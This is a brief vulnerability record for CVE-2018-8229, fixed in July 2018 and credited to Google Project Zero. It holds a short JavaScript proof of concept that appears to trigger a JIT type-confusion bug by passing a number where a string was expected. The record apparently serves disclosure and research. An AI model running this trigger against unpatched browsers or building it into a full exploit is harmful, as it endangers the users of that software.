CVE-2018-8229.md

CVE-2018-8229

• Fix: July 2018
• Credit: lokihardt of Google Project Zero

PoC

function opt(str) {
    for (let i = 0; i < 200; i++) {
        let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
    }
}

opt('x');
opt(0x1234);

Reference

• Microsoft
• Google Project Zero
• Fix